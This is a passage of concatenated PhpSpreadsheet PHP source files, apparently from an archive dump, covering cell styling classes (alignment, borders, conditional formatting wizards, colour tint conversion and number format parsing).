($fillStyle->getStartColor() !== null && $fillStyle->getStartColor()->getARGB() !== null) { $baseFillStyle->setStartColor($fillStyle->getStartColor()); } if ($fillStyle->getEndColor() !== null && $fillStyle->getEndColor()->getARGB() !== null) { $baseFillStyle->setEndColor($fillStyle->getEndColor()); } } protected function mergeBordersStyle(Borders $baseBordersStyle, Borders $bordersStyle): void { if ($bordersStyle->getTop() !== null) { $this->mergeBorderStyle($baseBordersStyle->getTop(), $bordersStyle->getTop()); } if ($bordersStyle->getBottom() !== null) { $this->mergeBorderStyle($baseBordersStyle->getBottom(), $bordersStyle->getBottom()); } if ($bordersStyle->getLeft() !== null) { $this->mergeBorderStyle($baseBordersStyle->getLeft(), $bordersStyle->getLeft()); } if ($bordersStyle->getRight() !== null) { $this->mergeBorderStyle($baseBordersStyle->getRight(), $bordersStyle->getRight()); } } protected function mergeBorderStyle(Border $baseBorderStyle, Border $borderStyle): void { //if ($borderStyle->getBorderStyle() !== null) { $baseBorderStyle->setBorderStyle($borderStyle->getBorderStyle()); //} if ($borderStyle->getColor() !== null && $borderStyle->getColor()->getARGB() !== null) { $baseBorderStyle->setColor($borderStyle->getColor()); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/Wizard.php000064400000006630151676714400024623 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting\Wizard\WizardInterface; class Wizard { public const CELL_VALUE = 'cellValue'; public const TEXT_VALUE = 'textValue'; public const BLANKS = Conditional::CONDITION_CONTAINSBLANKS; public const NOT_BLANKS = Conditional::CONDITION_NOTCONTAINSBLANKS; public const ERRORS = Conditional::CONDITION_CONTAINSERRORS; public const NOT_ERRORS = Conditional::CONDITION_NOTCONTAINSERRORS; public const EXPRESSION = Conditional::CONDITION_EXPRESSION; public const FORMULA = Conditional::CONDITION_EXPRESSION; public const DATES_OCCURRING = 'DateValue'; public const DUPLICATES = Conditional::CONDITION_DUPLICATES; public const UNIQUE = Conditional::CONDITION_UNIQUE; public const VALUE_TYPE_LITERAL = 'value'; public const VALUE_TYPE_CELL = 'cell'; public const VALUE_TYPE_FORMULA = 'formula'; protected string $cellRange; public function __construct(string $cellRange) { $this->cellRange = $cellRange; } public function newRule(string $ruleType): WizardInterface { return match ($ruleType) { self::CELL_VALUE => new Wizard\CellValue($this->cellRange), self::TEXT_VALUE => new Wizard\TextValue($this->cellRange), self::BLANKS => new Wizard\Blanks($this->cellRange, true), self::NOT_BLANKS => new Wizard\Blanks($this->cellRange, false), self::ERRORS => new Wizard\Errors($this->cellRange, true), self::NOT_ERRORS => new Wizard\Errors($this->cellRange, false), self::EXPRESSION, self::FORMULA => new Wizard\Expression($this->cellRange), self::DATES_OCCURRING => new Wizard\DateValue($this->cellRange), self::DUPLICATES => new Wizard\Duplicates($this->cellRange, false), self::UNIQUE => new Wizard\Duplicates($this->cellRange, true), default => throw new Exception('No wizard exists for this CF rule type'), }; } public static function fromConditional(Conditional $conditional, string $cellRange = 'A1'): WizardInterface { $conditionalType = $conditional->getConditionType(); return match ($conditionalType) { Conditional::CONDITION_CELLIS => Wizard\CellValue::fromConditional($conditional, $cellRange), Conditional::CONDITION_CONTAINSTEXT, Conditional::CONDITION_NOTCONTAINSTEXT, Conditional::CONDITION_BEGINSWITH, Conditional::CONDITION_ENDSWITH => Wizard\TextValue::fromConditional($conditional, $cellRange), Conditional::CONDITION_CONTAINSBLANKS, Conditional::CONDITION_NOTCONTAINSBLANKS => Wizard\Blanks::fromConditional($conditional, $cellRange), Conditional::CONDITION_CONTAINSERRORS, Conditional::CONDITION_NOTCONTAINSERRORS => Wizard\Errors::fromConditional($conditional, $cellRange), Conditional::CONDITION_TIMEPERIOD => Wizard\DateValue::fromConditional($conditional, $cellRange), Conditional::CONDITION_EXPRESSION => Wizard\Expression::fromConditional($conditional, $cellRange), Conditional::CONDITION_DUPLICATES, Conditional::CONDITION_UNIQUE => Wizard\Duplicates::fromConditional($conditional, $cellRange), default => throw new Exception('No wizard exists for this CF rule type'), }; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/ConditionalFormatting/ConditionalColorScale.php000064400000004750151676714400027576 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\ConditionalFormatting; use PhpOffice\PhpSpreadsheet\Style\Color; class ConditionalColorScale { private ?ConditionalFormatValueObject $minimumConditionalFormatValueObject = null; private ?ConditionalFormatValueObject $midpointConditionalFormatValueObject = null; private ?ConditionalFormatValueObject $maximumConditionalFormatValueObject = null; private ?Color $minimumColor = null; private ?Color $midpointColor = null; private ?Color $maximumColor = null; public function getMinimumConditionalFormatValueObject(): ?ConditionalFormatValueObject { return $this->minimumConditionalFormatValueObject; } public function setMinimumConditionalFormatValueObject(ConditionalFormatValueObject $minimumConditionalFormatValueObject): self { $this->minimumConditionalFormatValueObject = $minimumConditionalFormatValueObject; return $this; } public function getMidpointConditionalFormatValueObject(): ?ConditionalFormatValueObject { return $this->midpointConditionalFormatValueObject; } public function setMidpointConditionalFormatValueObject(ConditionalFormatValueObject $midpointConditionalFormatValueObject): self { $this->midpointConditionalFormatValueObject = $midpointConditionalFormatValueObject; return $this; } public function getMaximumConditionalFormatValueObject(): ?ConditionalFormatValueObject { return $this->maximumConditionalFormatValueObject; } public function setMaximumConditionalFormatValueObject(ConditionalFormatValueObject $maximumConditionalFormatValueObject): self { $this->maximumConditionalFormatValueObject = $maximumConditionalFormatValueObject; return $this; } public function getMinimumColor(): ?Color { return $this->minimumColor; } public function setMinimumColor(Color $minimumColor): self { $this->minimumColor = $minimumColor; return $this; } public function getMidpointColor(): ?Color { return $this->midpointColor; } public function setMidpointColor(Color $midpointColor): self { $this->midpointColor = $midpointColor; return $this; } public function getMaximumColor(): ?Color { return $this->maximumColor; } public function setMaximumColor(Color $maximumColor): self { $this->maximumColor = $maximumColor; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Alignment.php000064400000036310151676714400021001 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class Alignment extends Supervisor { // Horizontal alignment styles const HORIZONTAL_GENERAL = 'general'; const HORIZONTAL_LEFT = 'left'; const HORIZONTAL_RIGHT = 'right'; const HORIZONTAL_CENTER = 'center'; const HORIZONTAL_CENTER_CONTINUOUS = 'centerContinuous'; const HORIZONTAL_JUSTIFY = 'justify'; const HORIZONTAL_FILL = 'fill'; const HORIZONTAL_DISTRIBUTED = 'distributed'; // Excel2007 only private const HORIZONTAL_CENTER_CONTINUOUS_LC = 'centercontinuous'; // Mapping for horizontal alignment const HORIZONTAL_ALIGNMENT_FOR_XLSX = [ self::HORIZONTAL_LEFT => self::HORIZONTAL_LEFT, self::HORIZONTAL_RIGHT => self::HORIZONTAL_RIGHT, self::HORIZONTAL_CENTER => self::HORIZONTAL_CENTER, self::HORIZONTAL_CENTER_CONTINUOUS => self::HORIZONTAL_CENTER_CONTINUOUS, self::HORIZONTAL_JUSTIFY => self::HORIZONTAL_JUSTIFY, self::HORIZONTAL_FILL => self::HORIZONTAL_FILL, self::HORIZONTAL_DISTRIBUTED => self::HORIZONTAL_DISTRIBUTED, ]; // Mapping for horizontal alignment CSS const HORIZONTAL_ALIGNMENT_FOR_HTML = [ self::HORIZONTAL_LEFT => self::HORIZONTAL_LEFT, self::HORIZONTAL_RIGHT => self::HORIZONTAL_RIGHT, self::HORIZONTAL_CENTER => self::HORIZONTAL_CENTER, self::HORIZONTAL_CENTER_CONTINUOUS => self::HORIZONTAL_CENTER, self::HORIZONTAL_JUSTIFY => self::HORIZONTAL_JUSTIFY, //self::HORIZONTAL_FILL => self::HORIZONTAL_FILL, // no reasonable equivalent for fill self::HORIZONTAL_DISTRIBUTED => self::HORIZONTAL_JUSTIFY, ]; // Vertical alignment styles const VERTICAL_BOTTOM = 'bottom'; const VERTICAL_TOP = 'top'; const VERTICAL_CENTER = 'center'; const VERTICAL_JUSTIFY = 'justify'; const VERTICAL_DISTRIBUTED = 'distributed'; // Excel2007 only // Vertical alignment CSS private const VERTICAL_BASELINE = 'baseline'; private const VERTICAL_MIDDLE = 'middle'; private const VERTICAL_SUB = 'sub'; private const VERTICAL_SUPER = 'super'; private const VERTICAL_TEXT_BOTTOM = 'text-bottom'; private const VERTICAL_TEXT_TOP = 'text-top'; // Mapping for vertical alignment const VERTICAL_ALIGNMENT_FOR_XLSX = [ self::VERTICAL_BOTTOM => self::VERTICAL_BOTTOM, self::VERTICAL_TOP => self::VERTICAL_TOP, self::VERTICAL_CENTER => self::VERTICAL_CENTER, self::VERTICAL_JUSTIFY => self::VERTICAL_JUSTIFY, self::VERTICAL_DISTRIBUTED => self::VERTICAL_DISTRIBUTED, // css settings that arent't in sync with Excel self::VERTICAL_BASELINE => self::VERTICAL_BOTTOM, self::VERTICAL_MIDDLE => self::VERTICAL_CENTER, self::VERTICAL_SUB => self::VERTICAL_BOTTOM, self::VERTICAL_SUPER => self::VERTICAL_TOP, self::VERTICAL_TEXT_BOTTOM => self::VERTICAL_BOTTOM, self::VERTICAL_TEXT_TOP => self::VERTICAL_TOP, ]; // Mapping for vertical alignment for Html const VERTICAL_ALIGNMENT_FOR_HTML = [ self::VERTICAL_BOTTOM => self::VERTICAL_BOTTOM, self::VERTICAL_TOP => self::VERTICAL_TOP, self::VERTICAL_CENTER => self::VERTICAL_MIDDLE, self::VERTICAL_JUSTIFY => self::VERTICAL_MIDDLE, self::VERTICAL_DISTRIBUTED => self::VERTICAL_MIDDLE, // css settings that arent't in sync with Excel self::VERTICAL_BASELINE => self::VERTICAL_BASELINE, self::VERTICAL_MIDDLE => self::VERTICAL_MIDDLE, self::VERTICAL_SUB => self::VERTICAL_SUB, self::VERTICAL_SUPER => self::VERTICAL_SUPER, self::VERTICAL_TEXT_BOTTOM => self::VERTICAL_TEXT_BOTTOM, self::VERTICAL_TEXT_TOP => self::VERTICAL_TEXT_TOP, ]; // Read order const READORDER_CONTEXT = 0; const READORDER_LTR = 1; const READORDER_RTL = 2; // Special value for Text Rotation const TEXTROTATION_STACK_EXCEL = 255; const TEXTROTATION_STACK_PHPSPREADSHEET = -165; // 90 - 255 /** * Horizontal alignment. */ protected ?string $horizontal = self::HORIZONTAL_GENERAL; /** * Vertical alignment. */ protected ?string $vertical = self::VERTICAL_BOTTOM; /** * Text rotation. */ protected ?int $textRotation = 0; /** * Wrap text. */ protected bool $wrapText = false; /** * Shrink to fit. */ protected bool $shrinkToFit = false; /** * Indent - only possible with horizontal alignment left and right. */ protected int $indent = 0; /** * Read order. */ protected int $readOrder = 0; /** * Create a new Alignment. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param bool $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); if ($isConditional) { $this->horizontal = null; $this->vertical = null; $this->textRotation = null; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; return $parent->getSharedComponent()->getAlignment(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { return ['alignment' => $array]; } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getAlignment()->applyFromArray( * [ * 'horizontal' => \PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER, * 'vertical' => \PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER, * 'textRotation' => 0, * 'wrapText' => TRUE * ] * ); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells()) ->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['horizontal'])) { $this->setHorizontal($styleArray['horizontal']); } if (isset($styleArray['vertical'])) { $this->setVertical($styleArray['vertical']); } if (isset($styleArray['textRotation'])) { $this->setTextRotation($styleArray['textRotation']); } if (isset($styleArray['wrapText'])) { $this->setWrapText($styleArray['wrapText']); } if (isset($styleArray['shrinkToFit'])) { $this->setShrinkToFit($styleArray['shrinkToFit']); } if (isset($styleArray['indent'])) { $this->setIndent($styleArray['indent']); } if (isset($styleArray['readOrder'])) { $this->setReadOrder($styleArray['readOrder']); } } return $this; } /** * Get Horizontal. */ public function getHorizontal(): null|string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHorizontal(); } return $this->horizontal; } /** * Set Horizontal. * * @param string $horizontalAlignment see self::HORIZONTAL_* * * @return $this */ public function setHorizontal(string $horizontalAlignment): static { $horizontalAlignment = strtolower($horizontalAlignment); if ($horizontalAlignment === self::HORIZONTAL_CENTER_CONTINUOUS_LC) { $horizontalAlignment = self::HORIZONTAL_CENTER_CONTINUOUS; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['horizontal' => $horizontalAlignment]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->horizontal = $horizontalAlignment; } return $this; } /** * Get Vertical. */ public function getVertical(): null|string { if ($this->isSupervisor) { return $this->getSharedComponent()->getVertical(); } return $this->vertical; } /** * Set Vertical. * * @param string $verticalAlignment see self::VERTICAL_* * * @return $this */ public function setVertical(string $verticalAlignment): static { $verticalAlignment = strtolower($verticalAlignment); if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['vertical' => $verticalAlignment]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->vertical = $verticalAlignment; } return $this; } /** * Get TextRotation. */ public function getTextRotation(): null|int { if ($this->isSupervisor) { return $this->getSharedComponent()->getTextRotation(); } return $this->textRotation; } /** * Set TextRotation. * * @return $this */ public function setTextRotation(int $angleInDegrees): static { // Excel2007 value 255 => PhpSpreadsheet value -165 if ($angleInDegrees == self::TEXTROTATION_STACK_EXCEL) { $angleInDegrees = self::TEXTROTATION_STACK_PHPSPREADSHEET; } // Set rotation if (($angleInDegrees >= -90 && $angleInDegrees <= 90) || $angleInDegrees == self::TEXTROTATION_STACK_PHPSPREADSHEET) { if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['textRotation' => $angleInDegrees]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->textRotation = $angleInDegrees; } } else { throw new PhpSpreadsheetException('Text rotation should be a value between -90 and 90.'); } return $this; } /** * Get Wrap Text. */ public function getWrapText(): bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getWrapText(); } return $this->wrapText; } /** * Set Wrap Text. * * @return $this */ public function setWrapText(bool $wrapped): static { if ($wrapped == '') { $wrapped = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['wrapText' => $wrapped]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->wrapText = $wrapped; } return $this; } /** * Get Shrink to fit. */ public function getShrinkToFit(): bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getShrinkToFit(); } return $this->shrinkToFit; } /** * Set Shrink to fit. * * @return $this */ public function setShrinkToFit(bool $shrink): static { if ($shrink == '') { $shrink = false; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['shrinkToFit' => $shrink]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->shrinkToFit = $shrink; } return $this; } /** * Get indent. */ public function getIndent(): int { if ($this->isSupervisor) { return $this->getSharedComponent()->getIndent(); } return $this->indent; } /** * Set indent. * * @return $this */ public function setIndent(int $indent): static { if ($indent > 0) { if ( $this->getHorizontal() != self::HORIZONTAL_GENERAL && $this->getHorizontal() != self::HORIZONTAL_LEFT && $this->getHorizontal() != self::HORIZONTAL_RIGHT && $this->getHorizontal() != self::HORIZONTAL_DISTRIBUTED ) { $indent = 0; // indent not supported } } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['indent' => $indent]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->indent = $indent; } return $this; } /** * Get read order. */ public function getReadOrder(): int { if ($this->isSupervisor) { return $this->getSharedComponent()->getReadOrder(); } return $this->readOrder; } /** * Set read order. * * @return $this */ public function setReadOrder(int $readOrder): static { if ($readOrder < 0 || $readOrder > 2) { $readOrder = 0; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['readOrder' => $readOrder]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->readOrder = $readOrder; } return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->horizontal . $this->vertical . $this->textRotation . ($this->wrapText ? 't' : 'f') . ($this->shrinkToFit ? 't' : 'f') . $this->indent . $this->readOrder . __CLASS__ ); } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'horizontal', $this->getHorizontal()); $this->exportArray2($exportedArray, 'indent', $this->getIndent()); $this->exportArray2($exportedArray, 'readOrder', $this->getReadOrder()); $this->exportArray2($exportedArray, 'shrinkToFit', $this->getShrinkToFit()); $this->exportArray2($exportedArray, 'textRotation', $this->getTextRotation()); $this->exportArray2($exportedArray, 'vertical', $this->getVertical()); $this->exportArray2($exportedArray, 'wrapText', $this->getWrapText()); return $exportedArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Border.php000064400000014254151676714400020303 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class Border extends Supervisor { // Border style const BORDER_NONE = 'none'; const BORDER_DASHDOT = 'dashDot'; const BORDER_DASHDOTDOT = 'dashDotDot'; const BORDER_DASHED = 'dashed'; const BORDER_DOTTED = 'dotted'; const BORDER_DOUBLE = 'double'; const BORDER_HAIR = 'hair'; const BORDER_MEDIUM = 'medium'; const BORDER_MEDIUMDASHDOT = 'mediumDashDot'; const BORDER_MEDIUMDASHDOTDOT = 'mediumDashDotDot'; const BORDER_MEDIUMDASHED = 'mediumDashed'; const BORDER_SLANTDASHDOT = 'slantDashDot'; const BORDER_THICK = 'thick'; const BORDER_THIN = 'thin'; const BORDER_OMIT = 'omit'; // should be used only for Conditional /** * Border style. */ protected string $borderStyle = self::BORDER_NONE; /** * Border color. */ protected Color $color; public ?int $colorIndex = null; /** * Create a new Border. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values $this->color = new Color(Color::COLOR_BLACK, $isSupervisor); // bind parent if we are a supervisor if ($isSupervisor) { $this->color->bindParent($this, 'color'); } if ($isConditional) { $this->borderStyle = self::BORDER_OMIT; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; /** @var Borders $sharedComponent */ $sharedComponent = $parent->getSharedComponent(); return match ($this->parentPropertyName) { 'bottom' => $sharedComponent->getBottom(), 'diagonal' => $sharedComponent->getDiagonal(), 'left' => $sharedComponent->getLeft(), 'right' => $sharedComponent->getRight(), 'top' => $sharedComponent->getTop(), default => throw new PhpSpreadsheetException('Cannot get shared component for a pseudo-border.'), }; } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { /** @var Style $parent */ $parent = $this->parent; return $parent->getStyleArray([$this->parentPropertyName => $array]); } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getBorders()->getTop()->applyFromArray( * [ * 'borderStyle' => Border::BORDER_DASHDOT, * 'color' => [ * 'rgb' => '808080' * ] * ] * ); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['borderStyle'])) { $this->setBorderStyle($styleArray['borderStyle']); } if (isset($styleArray['color'])) { $this->getColor()->applyFromArray($styleArray['color']); } } return $this; } /** * Get Border style. */ public function getBorderStyle(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getBorderStyle(); } return $this->borderStyle; } /** * Set Border style. * * @param bool|string $style When passing a boolean, FALSE equates Border::BORDER_NONE * and TRUE to Border::BORDER_MEDIUM * * @return $this */ public function setBorderStyle(bool|string $style): static { if (empty($style)) { $style = self::BORDER_NONE; } elseif (is_bool($style)) { $style = self::BORDER_MEDIUM; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['borderStyle' => $style]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->borderStyle = $style; } return $this; } /** * Get Border Color. */ public function getColor(): Color { return $this->color; } /** * Set Border Color. * * @return $this */ public function setColor(Color $color): static { // make sure parameter is a real color and not a supervisor $color = $color->getIsSupervisor() ? $color->getSharedComponent() : $color; if ($this->isSupervisor) { $styleArray = $this->getColor()->getStyleArray(['argb' => $color->getARGB()]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->color = $color; } return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->borderStyle . $this->color->getHashCode() . __CLASS__ ); } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'borderStyle', $this->getBorderStyle()); $this->exportArray2($exportedArray, 'color', $this->getColor()); return $exportedArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/RgbTint.php000064400000012375151676714400020441 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; /** * Class to handle tint applied to color. * Code borrows heavily from some Python projects. * * @see https://docs.python.org/3/library/colorsys.html * @see https://gist.github.com/Mike-Honey/b36e651e9a7f1d2e1d60ce1c63b9b633 */ class RgbTint { private const ONE_THIRD = 1.0 / 3.0; private const ONE_SIXTH = 1.0 / 6.0; private const TWO_THIRD = 2.0 / 3.0; private const RGBMAX = 255.0; /** * MS excel's tint function expects that HLS is base 240. * * @see https://social.msdn.microsoft.com/Forums/en-US/e9d8c136-6d62-4098-9b1b-dac786149f43/excel-color-tint-algorithm-incorrect?forum=os_binaryfile#d3c2ac95-52e0-476b-86f1-e2a697f24969 */ private const HLSMAX = 240.0; /** * Convert red/green/blue to hue/luminance/saturation. * * @param float $red 0.0 through 1.0 * @param float $green 0.0 through 1.0 * @param float $blue 0.0 through 1.0 * * @return float[] */ private static function rgbToHls(float $red, float $green, float $blue): array { $maxc = max($red, $green, $blue); $minc = min($red, $green, $blue); $luminance = ($minc + $maxc) / 2.0; if ($minc === $maxc) { return [0.0, $luminance, 0.0]; } $maxMinusMin = $maxc - $minc; if ($luminance <= 0.5) { $s = $maxMinusMin / ($maxc + $minc); } else { $s = $maxMinusMin / (2.0 - $maxc - $minc); } $rc = ($maxc - $red) / $maxMinusMin; $gc = ($maxc - $green) / $maxMinusMin; $bc = ($maxc - $blue) / $maxMinusMin; if ($red === $maxc) { $h = $bc - $gc; } elseif ($green === $maxc) { $h = 2.0 + $rc - $bc; } else { $h = 4.0 + $gc - $rc; } $h = self::positiveDecimalPart($h / 6.0); return [$h, $luminance, $s]; } /** * Convert hue/luminance/saturation to red/green/blue. * * @param float $hue 0.0 through 1.0 * @param float $luminance 0.0 through 1.0 * @param float $saturation 0.0 through 1.0 * * @return float[] */ private static function hlsToRgb(float $hue, float $luminance, float $saturation): array { if ($saturation === 0.0) { return [$luminance, $luminance, $luminance]; } if ($luminance <= 0.5) { $m2 = $luminance * (1.0 + $saturation); } else { $m2 = $luminance + $saturation - ($luminance * $saturation); } $m1 = 2.0 * $luminance - $m2; return [ self::vFunction($m1, $m2, $hue + self::ONE_THIRD), self::vFunction($m1, $m2, $hue), self::vFunction($m1, $m2, $hue - self::ONE_THIRD), ]; } private static function vFunction(float $m1, float $m2, float $hue): float { $hue = self::positiveDecimalPart($hue); if ($hue < self::ONE_SIXTH) { return $m1 + ($m2 - $m1) * $hue * 6.0; } if ($hue < 0.5) { return $m2; } if ($hue < self::TWO_THIRD) { return $m1 + ($m2 - $m1) * (self::TWO_THIRD - $hue) * 6.0; } return $m1; } private static function positiveDecimalPart(float $hue): float { $hue = fmod($hue, 1.0); return ($hue >= 0.0) ? $hue : (1.0 + $hue); } /** * Convert red/green/blue to HLSMAX-based hue/luminance/saturation. * * @return int[] */ private static function rgbToMsHls(int $red, int $green, int $blue): array { $red01 = $red / self::RGBMAX; $green01 = $green / self::RGBMAX; $blue01 = $blue / self::RGBMAX; [$hue, $luminance, $saturation] = self::rgbToHls($red01, $green01, $blue01); return [ (int) round($hue * self::HLSMAX), (int) round($luminance * self::HLSMAX), (int) round($saturation * self::HLSMAX), ]; } /** * Converts HLSMAX based HLS values to rgb values in the range (0,1). * * @return float[] */ private static function msHlsToRgb(int $hue, int $lightness, int $saturation): array { return self::hlsToRgb($hue / self::HLSMAX, $lightness / self::HLSMAX, $saturation / self::HLSMAX); } /** * Tints HLSMAX based luminance. * * @see http://ciintelligence.blogspot.co.uk/2012/02/converting-excel-theme-color-and-tint.html */ private static function tintLuminance(float $tint, float $luminance): int { if ($tint < 0) { return (int) round($luminance * (1.0 + $tint)); } return (int) round($luminance * (1.0 - $tint) + (self::HLSMAX - self::HLSMAX * (1.0 - $tint))); } /** * Return result of tinting supplied rgb as 6 hex digits. */ public static function rgbAndTintToRgb(int $red, int $green, int $blue, float $tint): string { [$hue, $luminance, $saturation] = self::rgbToMsHls($red, $green, $blue); [$red, $green, $blue] = self::msHlsToRgb($hue, self::tintLuminance($tint, $luminance), $saturation); return sprintf( '%02X%02X%02X', (int) round($red * self::RGBMAX), (int) round($green * self::RGBMAX), (int) round($blue * self::RGBMAX) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/BaseFormatter.php000064400000001502151676714400024215 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; abstract class BaseFormatter { protected static function stripQuotes(string $format): string { // Some non-number strings are quoted, so we'll get rid of the quotes, likewise any positional * symbols return str_replace(['"', '*'], '', $format); } protected static function adjustSeparators(string $value): string { $thousandsSeparator = StringHelper::getThousandsSeparator(); $decimalSeparator = StringHelper::getDecimalSeparator(); if ($thousandsSeparator !== ',' || $decimalSeparator !== '.') { $value = str_replace(['.', ',', "\u{fffd}"], ["\u{fffd}", $thousandsSeparator, $decimalSeparator], $value); } return $value; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/NumberFormat/Formatter.php000064400000020240151676714400023422 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Reader\Xls\Color\BIFF8; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; class Formatter extends BaseFormatter { /** * Matches any @ symbol that isn't enclosed in quotes. */ private const SYMBOL_AT = '/@(?=(?:[^"]*"[^"]*")*[^"]*\Z)/miu'; /** * Matches any ; symbol that isn't enclosed in quotes, for a "section" split. */ private const SECTION_SPLIT = '/;(?=(?:[^"]*"[^"]*")*[^"]*\Z)/miu'; private static function splitFormatComparison( mixed $value, ?string $condition, mixed $comparisonValue, string $defaultCondition, mixed $defaultComparisonValue ): bool { if (!$condition) { $condition = $defaultCondition; $comparisonValue = $defaultComparisonValue; } return match ($condition) { '>' => $value > $comparisonValue, '<' => $value < $comparisonValue, '<=' => $value <= $comparisonValue, '<>' => $value != $comparisonValue, '=' => $value == $comparisonValue, default => $value >= $comparisonValue, }; } /** @param float|int|string $value value to be formatted */ private static function splitFormatForSectionSelection(array $sections, mixed $value): array { // Extract the relevant section depending on whether number is positive, negative, or zero? // Text not supported yet. // Here is how the sections apply to various values in Excel: // 1 section: [POSITIVE/NEGATIVE/ZERO/TEXT] // 2 sections: [POSITIVE/ZERO/TEXT] [NEGATIVE] // 3 sections: [POSITIVE/TEXT] [NEGATIVE] [ZERO] // 4 sections: [POSITIVE] [NEGATIVE] [ZERO] [TEXT] $sectionCount = count($sections); // Colour could be a named colour, or a numeric index entry in the colour-palette $color_regex = '/\\[(' . implode('|', Color::NAMED_COLORS) . '|color\\s*(\\d+))\\]/mui'; $cond_regex = '/\\[(>|>=|<|<=|=|<>)([+-]?\\d+([.]\\d+)?)\\]/'; $colors = ['', '', '', '', '']; $conditionOperations = ['', '', '', '', '']; $conditionComparisonValues = [0, 0, 0, 0, 0]; for ($idx = 0; $idx < $sectionCount; ++$idx) { if (preg_match($color_regex, $sections[$idx], $matches)) { if (isset($matches[2])) { $colors[$idx] = '#' . BIFF8::lookup((int) $matches[2] + 7)['rgb']; } else { $colors[$idx] = $matches[0]; } $sections[$idx] = (string) preg_replace($color_regex, '', $sections[$idx]); } if (preg_match($cond_regex, $sections[$idx], $matches)) { $conditionOperations[$idx] = $matches[1]; $conditionComparisonValues[$idx] = $matches[2]; $sections[$idx] = (string) preg_replace($cond_regex, '', $sections[$idx]); } } $color = $colors[0]; $format = $sections[0]; $absval = $value; switch ($sectionCount) { case 2: $absval = abs($value); if (!self::splitFormatComparison($value, $conditionOperations[0], $conditionComparisonValues[0], '>=', 0)) { $color = 